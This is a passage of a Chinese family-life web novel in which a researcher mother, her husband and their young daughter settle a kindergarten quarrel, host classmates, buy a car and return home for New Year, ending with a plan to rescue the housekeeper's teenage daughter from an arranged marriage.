李固言点头:“汽水太凉了,只能买一瓶,你俩分着喝。” 一瓶汽水买回来,李固言给倒到她俩的保温杯盖子里,两个小家伙坐在长凳上品茶似的啜着,很是享受的样子,一看就又是从电视剧里学来的。 “谷雨妈妈?” 舒英听到声音左右望了望,正在不远处看到昨天刚见过面的小胖妈妈和她手里牵着的小胖。 她忙笑起来打招呼:“小胖妈妈,你今天也带小胖过来玩呀?” 小胖妈妈牵着小胖过来:“是啊,没想到在这儿碰到你们一家了,真是巧。” 谷雨看到小胖的第一眼就有些僵住,视线也有些躲闪,她是想好了周一去幼儿园给小胖道歉的,但没想着今天就看到小胖。 小胖站在妈妈身边也有些不自在。 小孩子的表现都被大人们看在眼里,舒英招手让谷雨过来,说:“看到同学不打个招呼吗?” 谷雨缓缓叹一口气,将小杯子小心地放在长凳上,让贝贝给她看好,接着拖着步子往妈妈那边走,站定,问好:“小胖,你好。”声音听着有些飘。 小胖瞅了她两眼后又避开,也说:“谷雨,你好。” 这个打招呼,真是够生硬的。 舒英牵着谷雨的手晃了晃小声说:“昨天我们怎么说的,又不记得了?” 谷雨当然记得,道歉嘛,她深呼吸,一咬牙道:“小胖,对不起,我昨天不应该那么冲动的。” 小胖没预料到她会跟自己道歉,惊讶地抬头看了眼妈妈。 小胖妈妈说:“看我干什么,昨天怎么跟你说的忘记啦?” 小胖摇摇头,看向谷雨,神色认真道:“谷雨,我也要向你道歉,对不起,我昨天不应该说那种话的,妈妈跟我说了,你妈妈是很厉害的人,到很远的地方去帮助那些生了病的人,所以你妈妈很漂亮,我不应该说那种话。” 这话一出,舒英也有些诧异,瞄了小胖妈妈一眼,见她不好意思地轻咳了一下。 小孩子之间的矛盾就是这样,来的快,去的也快,道完歉后,两人又恢复成好同学的模样,谷雨还把他介绍给贝贝认识,还让爸爸给他倒橘子汽水喝。 汽水倒进水杯,滋滋啦啦冒着小气泡,谷雨很是热情地推 销:“快尝尝,是不是很好喝?” 小胖喝过汽水,知道很好喝,但还是配合的夸张说:“超级超级好喝!” “嘿嘿。”谷雨笑起来,也端起自己的杯子细细品尝起来。 太阳倾斜过来,笼罩住三个小朋友,照在他们手中捧着的橘子汽水上,不灵不灵地闪烁着。 小朋友们聚在一块儿,热热闹闹地玩耍,直玩到了太阳快落山,才各自回家。 回家的路上,谷雨和贝贝许是累了,也不说话聊天了,坐在后排东倒西歪地靠在一起睡觉,舒英往后看了眼轻声对李固言说:“你开稳点儿,她俩睡着了。” “好。”李固言透过后视镜看了一眼,答应。 舒英看着车窗外暖红色的夕阳,不由笑道:“小孩子多好玩。” 李固言观察着后视镜打了下方向盘也笑:“小孩子脑瓜子小小的,只能盛得下那一点点东西,今天闹了别扭,明天说声对不起就又能玩到一起。” “是啊。”舒英想起白天小胖无意中说出来的话问,“小胖妈妈怎么知道我去偏远地方研究疟疾的事情的?感觉不像是谷雨说的呀,要是谷雨说的,小胖怎么还要从他妈妈嘴里知道?” 说起这件事,李固言有些无奈,解释道:“你走那段时间不都是我接谷雨吗?正好跟她这些同学的家长都碰了个面,她们问怎么换了我来接了,我还没说话呢,闺女就嘴快说你出远门了,所以爸爸接送她,她话说的不清楚,我怕她们误会,就解释了一遍。” 这要是不解释,一句“出远门了”,不知道要闹出多大的误会来,他现在还能想起当时那些同学家长意味深长的眼神来,活像是他俩离婚了。 舒英听他的描述大致就猜出来了一些,有些想笑。 “不过也是巧,谷雨不是跟一个叫芝芝的小丫头玩得好吗?” “嗯。” 李固言:“有一次正好是芝芝爸爸来接她,两个小丫头放学时不肯分开,还要凑一块儿再聊聊天,我跟她爸爸就顺势也说了两句,结果他爸爸是开电子厂的,也是巧了,正好就谈了笔业务。” 舒英惊讶挑眉:“这么巧?” 第76章 第 76 章 那我收回我的邀请 车子到家后, 俩孩子还没醒,舒英晃了晃她俩,柔声说:“我们到家了。” 两个小家伙睡眼惺忪, 揉了揉眼睛后迷茫地四下看了看。 “妈妈?”“小姨?” 舒英笑:“快清醒清醒, 饿不饿?我们回家吃饭了。” 说完她起身把后排上的东西整理好,都装到袋子里拎在手上,李固言看见后随手接过来。 等他们弄完, 孩子们也清醒了,打着哈欠从车上跳下来,跟在舒英和李固言旁边上楼。 晚上睡觉前,李固言想了想提议道:“要不我们家也买辆车吧, 今天开姐的车出去,感觉要比我们平时坐公交或打的都方便得多。” “行啊。”舒英对买车没有异议,而且李固言怎么说也是一个小厂的老板,有一辆车对他在外的形象也有提升, 毕竟什么时候都是人靠衣装马靠鞍的。 说起厂子, 她问:“厂子最近的营收怎么样啊?够买一辆车吗?”现在一辆国产的夏利也要**万呢,而高档一些的桑塔纳得十几万。 说起厂子营收, 李固言不免露出得意神色:“你猜。” “我不知道。”这她怎么猜的出来, 她天天扑在学术上,都有点儿两耳不闻窗外事了,对家里的财政情况更是不太清楚,反正她的钱夹子总是满的, 稍微花出去一点,都不用她说,李固言就给补满了。 李固言笑了笑,用手指比了个数, 舒英瞬间瞪大眼:“这么多!”这还是他第一年创业呢,就能有六位数了,要知道她平时的研究生补贴再加上做额外课题的补贴一个月也才几百块。 她摇了摇头:“果然还是当老板赚钱啊。” “是这两个月突然起来了,之前一直不温不火,如果按照那时候的趋势,今年挣的钱也只够买一辆夏利,买完就一分钱都不剩了。” 舒英笑眯眯的:“那你明年再接再厉,争取早日实现对谷雨的别墅承诺!”想想就觉得未来的日子很有盼头,他们家的生活在一步步向着好的方向发展。 李固言看着她乌黑润泽的眼眸,唇角不自禁上扬,也觉心中澎湃:“好!争取早日让我们家住上别墅。” 周一。 四天的休息结束,大家又回到久违的实验室,舒英看着大家的表情就知道这四天肯定都过得挺开心,一个个神采飞扬的。 过了一会让,章惠然从外面进来,她脸上也带着笑,问:“怎么样?大家这几天都休息够了吗?” 没等人回答呢,她自己就促狭道:“没休息够也不行了,咱们得开始下一阶段的研究了。” 听到这话,大家都齐齐笑起来,很捧场地回答说:“放心吧老板,都休息够了,马上就能开始干活儿!” “那就太好了,也省得我整日里自责对你们是不是太压榨了。”章惠然开过玩笑后,把手里的笔记本摊开道,“行了,这些话我就不多说了,接下来我来安排一下咱们这段时间的任务……” 大家听到这话,都齐刷刷拿出本子记录。 章惠然把这段时间的任务都分发下去后补充道:“明年三月份就又是那边的雨季了,最适宜蚊虫繁殖生长,是疟疾高发期,所以上面的初步决定是我们明年三月份再过去实地研究两个月,不过下次去跟咱们这次去稍有些不同,因为明年会增派更多的医疗团队,所以倒时候我们主要是待在咱们上回去过的市研究所,与医疗团队合作进行抗疟药物研究。” 他们毕竟是药学,就是下乡也只能采集患者血样,再对患者血样进行分析,而不能直接对患者进行治疗,所以设备齐全的市研究所反而更适合他们的工作。 舒英点头,心中暗忖,市里的条件比村里要好得太多,基础设施该有的基本都有了,这下李固言不用再担心她了。 同样是周一,幼儿园的谷雨不忘妈妈的交代,很是热情地把全班14个小朋友都邀请了个遍:“我妈妈说邀请你们这周六到我家玩,我妈妈会烤动物饼干给你们吃,我妈妈烤的动物饼干很好吃的。” “动物饼干有什么好吃的,我在家天天吃。”一个叫小阳的小男孩很是不屑。 谷雨之前第一讨厌的就是他,第二讨厌的是小胖,他俩天天狼狈为奸、不干好事儿!不过周六跟小胖在游乐园一块儿玩了大半天,建立了一点微末的友谊,所以小胖已经从她的讨厌人中移除了,那在班里她讨厌的人就只剩下了小阳。 她哼了一声,才不要给他好脸色看:“那我收回我的邀请,你周六不要去我家。” 小阳一噎,也学着她的样子哼了一声,哼完又觉得不解气,对大家说:“她妈妈烤的动物饼干肯定不好吃,她上次还说她妈妈天下第一漂亮呢,结果她妈妈一点都不漂亮!” 要是之前谷雨还会因为他的话生气,但自从妈妈跟她说了那些话后,她已经不会跟这种没能力、没智慧,还不善良的人生气了,她瞥了他一眼,高傲地扭头,小辫子在空中猛地一甩,又对着其他人道:“我妈妈让我问问你们喜欢喝什么,我家有可乐、橘子汽水、牛奶、麦乳精,噢!还有我妈妈出差带回来的蜂蜜,可甜了!” 她说一个就跟着掰一根手指,可乐和橘子汽水都是昨天爸爸妈妈才买回来的,虽然现在不允许她喝,但如果周六同学们来家里,大家一起喝的时候,妈妈肯定也会给她倒一小杯的! 小阳站在她身后看她跟同学们有说有笑,而且谁都也不搭理他,瞬间气得脸都涨红了,怒气冲冲吼道:“大家不要听她的,她肯定又是骗人的!你们到时候去了肯定没有这些饮料喝!” 大家都被他吓一跳,谷雨有些不耐烦,唬着脸双手叉腰问:“我都没 有邀请你了,你干嘛要这样子说话!真没礼貌!” 芝芝也叉起腰帮自己最好的朋友:“就是就是,小阳,你真没礼貌!” 小胖在小阳和谷雨之间犹豫了下,之前他跟小阳是好朋友,但周六他也跟谷雨成为了好朋友,而且他也觉得小阳不应该说这种话,于是也站在了谷雨这边。 小阳看着这场面,没想到自己唯一的好朋友小胖也不帮着自己,瞬间又气又急,张开嘴嚎啕大哭! 徐老师被这声音吸引过来,赶忙哄着他,又问其他同学发生了什么事。 听完后,她心里有了数,这种事情就是几个孩子拌了下嘴,不用叫家长,关于小阳这孩子她也是有些头疼,她对他的情况了解的也比较多,他上头好几个姐姐,他是好不容易生的儿子,家里面的人对他向来是有求必应,有些溺爱,这也导致他性格上有些自私,班里的好多孩子都不太喜欢他,也不乐意带着他玩。 她叹口气,牵着孩子回了办公室哄。 等讨厌的人离开后,大家都有些忍不住欢呼起来。 晚上放学回到家,谷雨迫不及待跟妈妈分享今天在学校发生的事情。 舒英一边听一边吃饭,时不时提问:“你们班除了你不是14个小朋友吗?怎么只有13个,另外一个不来吗?” 谷雨摇头:“我邀请他了,他自己不来的,他不来正好,反正我们都不喜欢他。” “是那个小阳?”舒英平日里虽然忙,但对于宝贝女儿她还是很关心的,知道她在班里跟谁玩的好,又跟谁玩的不好。 “是啊是啊,他真讨厌,他非说妈妈做的饼干不好吃,明明他就没有吃过。而且他今天又哭了,哭得可大声了,大家都忍不住捂耳朵。”说完,她怕妈妈误会,连忙补了一句,“妈妈,我可没打他,是他自己哭的。” 舒英没忍住笑出声,打人这个事在她家算是过不去了,舒秀珍知道后,一看到谷雨就要调侃两句,让她给她示范一下是怎么打的人。 “好,妈妈知道你以后肯定不会再无缘无故的打人的。” 谷雨这才心满意足地笑起来,继续用勺子扒着碗里的饭,眼睛还盯着门口,就等着她爸爸回来再把今天的事跟他絮叨一遍。 家里养了个小话痨后,那真是任何时刻都少不了她叽叽咕咕的声音。 这一周,舒英逐渐又恢复了从前的作息时间,运动量也直线下降,不再一走就是一两个小时,不过脚底板磨出的茧子还没有变化。 到了周六,舒英和李固言一早就在家里准备,谷雨和贝贝也过来帮倒忙。 这么折腾了一番,终于在临近中午时将下午会用到的食材都处理好了。 小朋友都喜欢吃甜的,但吃太多糖也不太好,所以她在搅拌的饼干液和面包夜中加入的都是蜂蜜,蜂蜜总比白糖要好一些,甜度也够。 小朋友们下午三点会过来,所以他们中午简单吃完饭后,舒英就陆陆续续地将饼干和面包液倒进模具里放进烤箱里烤,一时间,满屋子都是香甜的气息。 谷雨和贝贝戴着套袖扒着台子目不转睛地盯着她的动作,脱模时自告奋勇。 买模具时都是谷雨挑选的她喜欢的形状,小猫小狗小兔子,还有一些花花草草。 她准备下午小朋友们会吃的东西,李固言将买来的彩带气球等装饰物挂在客厅,将客厅打扮的热闹喜庆。 下午两点多的时候,就开始有小朋友过来了,每次门铃响起都是谷雨去开的门,把她的好同学一个一个迎进来,人一进来就开始热情招呼着,询问吃什么喝什么,小腿噔噔磴地跑去给她拿,一点儿不带停的,可以说是尽足了地主之谊。 14个小朋友,哦不,加上贝贝就是15个小朋友齐聚一室,免不了有些吵闹,舒英怕会打扰到邻居们,昨天就特意先烤了两盘面包饼干送过去道歉,也好在邻居们也都是好说话的。 等小朋友们都来齐后,舒英不忘自己今天的目的,她让谷雨邀请同学们来家里玩,主要还是为了帮谷雨跟同学们搞好关系,于是她弯下腰亲切笑道:“你们好呀,我是谷雨的妈妈。” “阿姨好!”“阿姨好~” 舒英笑了笑,直奔主题:“上周谷雨是不是跟你们吹牛说她妈妈是天下第一漂亮了?” “是!” 谷雨有些不好意思地低下头,脸颊也有些绯红,不过妈妈今天要说什么都提前跟她商量过的,所以虽然羞赧,但没有生气。 舒英:“你们今天来阿姨家里,见到了阿姨,所以知道阿姨不是最漂亮的对不对?” 大家都有些不好意思回答,他们人虽小,但也知道说人家不漂亮总归不太好。 舒英笑吟吟继续道:“不过谷雨没有撒谎,也不是要欺骗你们,因为在她心里,她妈妈就是最漂亮的,就像在你们心里,你们的妈妈也是最漂亮的对不对?” “对!”这下大家回答的都十分有底气。 “所以谷雨不是故意欺骗你们的,你们可以原谅谷雨,继续跟她当好朋友吗?”舒英放软了语气。 “可以!” “我们跟谷雨一直是好朋友!” “我最喜欢跟谷雨玩了。” “谷雨也没有骗人,她妈妈虽然不是第一漂亮,但也很漂亮!” 舒英听到这些童言童语没忍住又笑出来,她的话说完了,接下来这里就要交给小主人谷雨,让她来招待她的好朋友们了。 谷雨招待的很是尽职尽责,十分的热情好客,绝对不忽略任何一人的感受,而且经过刚才舒英的一番解释,小朋友们都更喜欢谷雨了,还有小朋友凑到谷雨耳朵边说悄悄话:“谷雨,你妈妈好好噢。” 可把谷雨自豪坏了,一整个下午都精神奕奕,直到把同学们都被家长接走还有些意犹未尽地问:“妈妈,我们下次什么时候再邀请同学们过来玩呀?” “……等你过生日吧。”舒英手动捶着有些酸疼的腰,今天就为了能把这群小客人招待好,她从早忙到晚,他们在玩的时候她也一点不敢松懈,都是小孩子,稍微不留神磕哪儿摔哪儿都是要出事的。 不过只要闺女开心,就是再累一整天她也能忍! “好噢!”谷雨听到这句话,顿时欢呼雀跃起来,恨不得立马就掰着手指头算离她生日还有多少天了。 舒英看着她这么开心也很高兴,只是还没高兴一会儿呢,她又突然僵住,她忘记了,明年谷雨生日的时候,她正好在水和市做研究。 她瞬间有些心虚,眼神飘飘荡荡就是不敢落在谷雨身上,视线突然瞥到旁边的李固言,看来到时候只能让他自己多辛苦了。 天气越来越冷,这也意味着马上就又到了过年,大家又开始商量回老家的事情,舒秀珍道:“我今年跟贝贝就不回去了,我俩就在沪市过年,省得再跟去年一样又遇到那些乱七八糟的事。而且爸妈暑假不是来过一趟了吗?等明年暑假再接他们过来玩几天就行了。” 舒英点头,表示理解,去年严磊和他新娶的老婆闹出来的事情确实膈应人,而且严磊一直是个拎不清的,谁也不知道她今年要是带着贝贝回去又会发生什么事。 “行,那今年就还是我们一家和固萱一块儿回去,一车就坐得下了。”他们前段时间就买车了,犹豫来犹豫去,还是舒英做主买了更贵的桑塔纳。 她其实对车不了解,是想着先敬罗衣后敬人,李固言开个好一点的车,出去拉业务单子,别人也能多考虑两下,而且就李固言现在的收入,桑塔纳虽然贵,但也不是买不起。 舒英问:“对了,那你跟贝贝不回去,黄姐也不回老家吗?”黄姐往年都是要回家过年的,但今年她要是回去的话,舒秀珍自己恐怕带不好贝贝。 “回,这大过年的总不能不让人家回家看 看吧?“舒秀珍道,“不过我跟黄姐商量着让她晚走两天,我给开三倍工资,黄姐答应了。”她的假期肯定是没办法跟着贝贝的,要是黄姐走得早,总不能让贝贝自己待在家。 说完黄姐,舒英想到赵姐,她喊了一嗓子问:“赵姐?” “哎!”赵姐答应,走过来,“我在厕所拖地呢,咋了?” “没事。”舒英摆手,笑道,“我就是想问问你今年跟不跟我们一块儿回安城,我记得你也有两年没回去了,你今年要是回去的话,正好跟我们一块儿坐车,省得挤春运时候的火车了。” 赵姐半点没犹豫:“回!”她今年刚跟孩子们联系上,就是雇主家不问,她今年也是要回去看看孩子的。 “行,那赵姐你回头收拾收拾行李,要有什么想买的东西提前买好,咱到时候开车回去。” “哎!”赵姐脸上堆起笑,一想到今年过年就能见到孩子了,就高兴得不知道怎么才好,拖地的时候脑子里还想着要给孩子们买些什么东西回去,她这么些年赚的钱可都也没怎么舍得花呢,全都给孩子们存起来了。 想买衣服鞋子吧,又怕不知道孩子身量,回头穿得不合身,那就买吃的,沪市这边好吃的这么多,像雇主家常买的蝴蝶酥、状元糕、鲜肉月饼,孩子们肯定都没尝过呢! 光是想到孩子们,她浑身就充满了干劲儿,一边用力地拖地,一边哼着在农村时学的小调。 舒英和舒秀珍听到厕所传出来的声音,相视一眼,都不由笑出来,赵姐这也算是苦尽甘来了。 等舒英放了寒假,李固言最后将厂子又检查了一遍,确定没有遗留任何安全隐患后,就载着一车人踏上了回家的路。 他们一共五人,四个大人一个小孩,一辆车正正好全给拉下了,李固萱这还是第一次坐她哥嫂这新车呢,上车后很是好奇地左摸摸右摸摸,接着拿出自己提前准备好的零食跟大家分着吃。 她道:“嫂子,我正想问你呢,我现在也想在沪市买套房子,但还没拿定主意买在哪个地方,我看你们家的房子就不错,你们当时怎么挑的?” 他们那个工作室现在已经扩大了,换了正规的场地,又招了不少专业人才,现在他们公司在业内也算是有点名声了,那理所当然的,身为五位创始人之一,她账上的钱可不少,且就目前来看,她的事业生活都在沪市,未来没有意外的话也是在沪市生活,那当然还是买套房子方便得多,而且现在沪市的房价一直再升,就算是她不住,买着用来投资也是一个不错的选择。 舒英笑起来,看了眼旁边专心开车的李固言道:“这事你问我可没用,当时都是你哥到处跑到处看的,我是直接从他选好的几套里定下的现在这套。” “那哥,你回头跟我传授传授经验呗。”李固萱扒着前排椅背往前探了探。 李固言从后视镜瞥她一眼:“现在沪市新楼盘多,你就从你公司周围找起,找带电梯的,周围最好有商场、医院、学校等大型设施的,这样的房价一般都不会太低,但相应的,安保也会比较好,你一个人住,安全上也有保障,而且买个什么东西,或者身体上有什么不舒服也都方便解决。” 李固萱点点头:“哥那你到时候陪我去看看吧,我怕我没买过房,有些不好的地方看不出来。” “行,你回头提前跟我说。”李固言答应。 舒英接话道:“等你房子买好,我给你推荐一位装修公司的经理,我跟我姐这两套房子都是从她那装的,目前住起来感觉都还不错。你到时候工作忙,可以跟我姐一样软装硬装全部都包给她,最后直接拎包入住。” “那好啊。”李固萱笑起来,她确实是没时间去看装修,能找个靠谱的人包出去最好,而且她们俩现在住的房子她都看过,装的风格她也都挺喜欢。 赵姐听着他们仨说起买房子的事情,也有些心动,她现在是做保姆,住在雇主家,但她自己是没有家的,除了雇主家,再没个落脚点。她以后也不打算再结婚了,结了两次婚,在她眼里,婚姻也就那个样。 她压住心底那点浮躁,沪市的房子这么贵,她手里的那些钱可是买不起,等先回家看看孩子是什么情况,买房子的事情等明年过来,再问问舒英和李固言的意见,在她心里,他俩都是有文化的历害人,肯定能给她出个靠谱的主意。 第77章 第 77 章 就像她们的人生 开车比火车的时间快些, 所以天还没黑,一行人就到了家。 一辆黑色的小轿车驶过,即将停在家属楼下, 大家都探出头猜测是谁家的。 “哟, 还是桑塔纳呢!” “这谁家的啊?咱们楼还有人能买得起这车了?” “停了停了,马上车门一开就知道是谁家的了。” “李家的!” 李妈正在家里看电视呢,就听见外面邻居喊:“固言妈, 快出来看,你家固言回来了!他开桑塔纳回来的!” 固言回来了?她连忙起身,也循着声音扒窗往外看,楼下小轿车旁边不正是她儿子儿媳吗? 李妈高兴地拍掌喊了一声:“固言!” 舒英等人这时候正准备把车上的东西都拿下来呢, 就听见这一嗓子,都抬起头往上看,正看见李妈笑开的脸。 谷雨仰着头甜甜道:“奶奶!” “哎!”李妈赶紧回去穿好衣服,扑通着一颗心下楼, 到楼下少不了嗔怪道:“怎么回来也不打个电话说一声?说一声我跟你们爸好去门口接你们去啊。” 李固萱张开手臂撒娇着抱上去:“妈, 你这就不懂了,我们这是要给你个惊喜呢, 怎么样, 是不是很开心?”他们是特意没跟二老说的,就是怕他们再像去年一样,又忙那么长时间,给做一大桌子菜, 忍着不睡也要等他们回来到。 “开心开心,开心的我心都要跳出来了。”李妈拍着胸口,看着眼前崭新的车,把身上的闺女扒拉开, 问,“这什么时候买的车?” 还不等李固言回答,旁边就有人打趣道:“固言妈,你这下可享了服了,你看你这三个孩子都多有本事,你跟固言他爸半夜睡觉都能笑醒了吧?”她这话里隐隐透着一股子酸意,本来嘛,大家都是住在一栋楼的邻居,家里条件都差不多,结果这李家也不知道是踩了哪门子狗屎运,三个孩子一个比一个有能耐。 今天儿女回来,李妈心里高兴,就是听出了她话里的酸意,也没放在心上,捂着嘴直笑:“可不是吗?我跟他爸就是现在合眼了都满足了。” 李固萱赶忙扯着她胳膊“呸呸呸”道:“妈!你瞎说啥呢!” 李妈是高兴坏了,这才说话没顾忌,这下也反应过来,跟着“呸呸呸”。 一会儿的功夫,楼上楼下的邻居们都听了消息围过来凑热闹看小轿车,竟一时堵得水泄不通,导致他们上不了楼了。 李妈见状抬手压了压,脸上还笑着说:“他们今天才回来,开了一天的车都累坏了,赶明儿,赶明儿再请你们来我家玩!” 大家知趣地让了一条道出来。 “固言妈,到时候花生瓜子、橘子苹果可都得拿出来招待我们,你家现在发达了,可不能小气。” “放心放心,保准儿让你们吃到撑为止!”李妈答应道。 上楼后没多久,李爸也从别人那知道儿女们回来了,赶紧回来家,他退休后闲不住,现在跟两个以前的老同事开了个班,给小学生们补课,也不图挣钱,就跟学生们收了个房租费,现在每天白天都在那边上课。 他开班上课这事,家里人都知道,女儿们见他每天充满了精气神,也就没阻止。 李爸一进门,谷雨就扑上来:“爷爷~” 李爸弯腰把她抱起来,“哎呦,谷雨想没想爷爷?” 这种问题,谷雨不知道听到过多少,所以很是清楚他们想听什么答案,立马在爷爷脸上亲了一口说:“超级想超级想。” 李爸瞬间被哄得兴高采烈,还没吃饭就想带着谷雨下楼去小卖部买小孩子喜欢的东西去,被李妈白了一眼后拦下。 大家坐了一天的车,都没什么胃口,简单吃了饭后就各自洗漱回房睡觉。 今天一天都是李固言开的车,是真的累了,一沾到枕头就睡过去,甚至还轻轻地打起了呼噜。 谷雨趴在爸爸旁边,听着他的呼噜声捂着嘴偷笑。 舒英洗漱完进屋,看见她问:“笑什么呢,这么开心?过来,妈妈给你涂香香。” 谷雨乖乖过去,边闭着眼睛让妈妈涂香香边小声说:“爸爸在打呼噜。” “是吗?”舒英有些惊讶地挑眉,李固言之前没有打呼噜的习惯,她好奇心起,小心翼翼撑着床俯身将耳朵递过去,还真听见了呼噜声,跟猫儿似的,咕噜噜的。 她也跟着笑起来,轻声对谷雨道:“爸爸今天累了。” 呼噜声断,李固言迷蒙着睁开眼,茫然看着近在咫尺的两人,哑着声音问:“怎么了?” 舒英摇头,“没事,你继续睡吧,我关灯了,我们也睡了。” “嗯。” 房间灯灭,母女俩躺进早已被暖热的被窝,互相搂着沉沉睡去。 第二天一早,李爸李妈又买了做了一大桌子的早饭,几乎是把街上能买的品种都买回来了,买不回来的就自己做。 把谷雨馋的刷牙的时候一直往桌子上瞅,看得旁人直乐。 “没刷满三分钟呢。”舒英按住吐掉泡沫有些蠢蠢欲动的闺女。 没办法,谷雨只能又把牙刷塞进口腔,龇着牙对着镜子上下左右地刷。 吃完饭后,大家分头行动,舒英和李固言要带着谷雨去姥姥姥爷家,赵姐跟李妈去见孩子,剩下没什么事的李固萱被李爸拉着去他那个补习班给学生们上课去了。 舒爸舒妈知道二闺女一家要来,提前就交代大儿子儿媳中午回家吃饭,又给二儿子打了电话,让他们一家中午也带着瑞瑞回来。 安城的冬天要荒凉些,路上没一片绿叶子,一家三口开着车在路上走走转转的,临近晌午才到舒家。 一大家子在一块儿吃了个午饭,等舒文佑和舒武茂等人都回去上班后,舒英又陪着舒妈在家待到了晚上四点多。 母女俩聊着天,舒妈难免要问起舒秀珍的情况:“你姐现在怎么样啊?我怎么瞧着一点儿动静都没有?” 舒英笑了笑:“她现在不想再结婚了。” “那怎么能行呢?不结婚怎么行?”说完自己就摇头否定,“不行不行,不结婚是肯定不行的,她现在是年轻,觉得一个人过得劲儿,等她老了还一个人怎么办?” 舒英不说话,她妈的思想老旧,骨子里就不认同不结婚,你跟她说再多也劝不了她。 舒妈挪了挪屁股,坐到她旁边低声说:“你二姨前段时间跟我说想给你姐再介绍一个,说男方也是才离婚的,比你姐大两岁,家里条件不错,父母都是机关的,男的有一个儿子,已经十岁懂事了,你姐嫁过去也不用操心。” 舒英听到这些压着心里的不耐烦说:“这事儿你得问我姐,你问我没用。”这些事情她听着就嫌烦,这男的在她看来也不是什么好东西,刚离婚就想着再娶,也不会比严磊强到哪儿去。 而且听完她还有点儿为舒秀珍打抱不平,凭什么人家严磊一离婚就能再找个黄花大闺女,给舒秀珍就想介绍个离了婚的? 舒妈白她一眼:“你这闺女,我这不是想让你帮我一块儿参谋参谋吗?” “那既然这样,我就直说了,我觉得不太行。” “那怎么着,你姐是不是跟你说过她不打算再找了?”舒妈问。 “嗯。”舒英鼻子哼气。 “她这是胡闹!她都三十好几了,马上就四十了,不趁着还年轻的时候赶紧再找一个,难不成要等到六七十的时候后悔啊?”舒妈拉着她的手,企图能够说服一个闺女站在自己这边帮着劝舒秀珍,“而且现在找,还能再嫁个条件好的,要不然以后人家给她相看的就是一些坡了脚啊、不正混的了,她现在不急,我天天操着她的心,晚上都睡不了一个好觉。” 舒英紧紧抿了下唇,招手将谷雨叫过来道:“跟姥姥说再见,再去把爸爸叫过来,咱们回去了。” “姥姥再见~”谷雨笑起来对着姥姥摆手。 “你这孩子。”舒妈有些不满意,把三人送到门口后不忘叮嘱舒英道,“你别忘了跟你姐说一声,好好劝劝她。” 李固言刚才给舒爸帮忙去了,不知道丈母娘跟舒英说了什么,问:“妈让你劝姐什么?” 舒英有些无奈:“劝姐再找一个。” 李固言听到这话立马摇头:“妈这主意恐怕要落空。” “谁说不是,反正我是不劝,谁爱劝谁劝去。”舒英看着窗外倒流的风景,转了话题,“等过完年回去,我也去考个驾照,这样你忙的时候,我开着车就出去了。” “行啊,到时候你问问姐在哪学的驾照,你也上那学。” 谷雨慌忙插话:“我也要学,爸爸妈妈,我也想开车。” 两人对视着笑起来,舒英点头答应:“好,等你成年后就让你去学驾照,到时候爸爸妈妈送你一辆车,你想开去哪就开去哪。” “好!”谷雨笑嘻嘻地应下,“那我要开着车带贝贝、芝芝出去玩!还要带爸爸妈妈、爷爷奶奶、姥姥姥爷,还有赵阿姨和黄阿姨!” “哟,想带的人还不少。”李固言从后视镜看着闺女,“那我们可就等着了啊。” 舒英也笑,扭头看着后排说:“快坐好,别一会儿起来一会儿起来的,爸爸刹车的时候容易摔着。” “噢。”谷雨老老实实坐下,重新将安全带扣好。 三个人回到家后,就发现气氛有些凝重,赵姐神色惶惶地坐在李妈旁边,脸上淌着泪,李妈在一旁安抚地劝着。 舒英问:“这是怎么了?不是回家见孩子们了吗?这怎么回来还哭起来了,是不是孩子们过得不好?” 赵姐已经哭得说不出一句完整的话来了,李妈帮着将事情讲清楚。 本来今天见孩子是一件高兴事,赵姐也兴奋得不行,结果见了孩子后却发现孩子眉间有些忧虑,到底才十几岁,就是脸上笑着也让大人看出不对来,在她俩的追问下,二丫才把事情说出来,原来是叔婶要给大丫说亲了,男方是个离了婚的鳏夫,都快三十了。 赵姐哽咽道:“我大丫过了年才十六呢!”其实现在在农村,十六七岁结婚算是个挺常见的事,但问题就出现在这男方身上,十六嫁个三十的,那也差太多了,这男的再大两岁都能把大丫生出来了! 又是说亲,又是鳏夫!舒英现在听到这俩词儿就来气,也不知道这么些鳏夫都是哪来的脸,哪配得上这么好的姑娘。 更不知道那些说媒的人是不是脑子都被驴踢了,净给这些好姑娘介绍这么些让人瞧不上眼的臭男人。 舒英皱起眉:“赵姐你先别哭了,你现在哭也没用,你还是想个法子看看怎么办吧。” 赵姐就是因为想不出法子才哭个不停的,她就没为自己的婚姻做过主,两次婚都是家里人逼着嫁的,这下心里也实在是慌了神,不知道该怎么办好了,只能抬头用祈求的眼神看着舒英。 舒英也知道她心里没主意,叹了口气道:“我看这样吧,要不找个时候偷着把大丫带走吧,要不然留在村里,她迟早会被嫁出去。”这孩子从小和爷奶一块儿跟着叔婶生活,爷奶年纪大了,可以说就是叔婶养的她,农村都不富裕,不说其他的,叔婶愿意养她已是有恩,叔婶说把她嫁出去,就算嫁的人不好,村里人顶多也就是私下里嘀咕两句,表面上还会夸叔婶善良。 “能、能行吗?偷着带走,人回头报警了,公安找到你们怎么办?”李妈有些犹豫,她虽然可怜赵姐,也是真的想帮她,但也害怕自己家里人因此受牵连。 赵姐也不愿意牵连他们,就在她要摇头时,舒英道:“没事,带走的时候留封信再给点儿钱,他们想把大丫嫁人肯定也是因为想要钱,而且孩子是跟着亲妈,他们家这么多年拦着不让孩子见亲妈,就是报公安我们也有理。” 赵姐听着 这主要又觉得有了希望,立马又笑出来,拿帕子擦了擦眼泪鼻涕,说:“我有钱,我存的有钱,到时候我把钱留给他们,就是,我还想带着我二丫,我二丫过了年也十四了,这时候要是不带走,回头日子肯定不好过……”她越说越觉得太麻烦他们,人家愿意帮她捞一个孩子出来就很好很好了,就是她太贪心。 李固言却答应道:“行,还有你也不用那么实诚把这些年存的钱都留下来,毕竟你把孩子接走后也要生活,我觉得能给留个五百就算是很不错了。” “哎,哎!”赵姐这些更是喜极而笑,脸上的泪痕都擦了干净,只眼鼻还红着,“这真是,真是,我都不知道该怎么谢你们好了!你们一家真的,都是大好人!” 舒英摆手:“赵姐,不用谢,我们就是帮你把孩子接出来,你也得想想把孩子接到身边要怎么办怎么养?” 到时候孩子肯定是不能跟他们住一块儿的,那赵姐就得另外再赁房子,而且孩子也都不小了,是让上学还是让上班也是个难题。 赵姐也想到了这些问题,面上一时有些纠结,李妈做主道:“行,咱先不想这个,目前还是要赶紧把孩子接出来才行,对了,你把俩闺女接走,那你那个小子呢?” “小子就先不带了,他到底是个儿子,他爷奶跟眼珠子一样护得紧,不带走也能过得不错。” “那也行。”李妈说,“那咱商量商量怎么把俩闺女接走。” 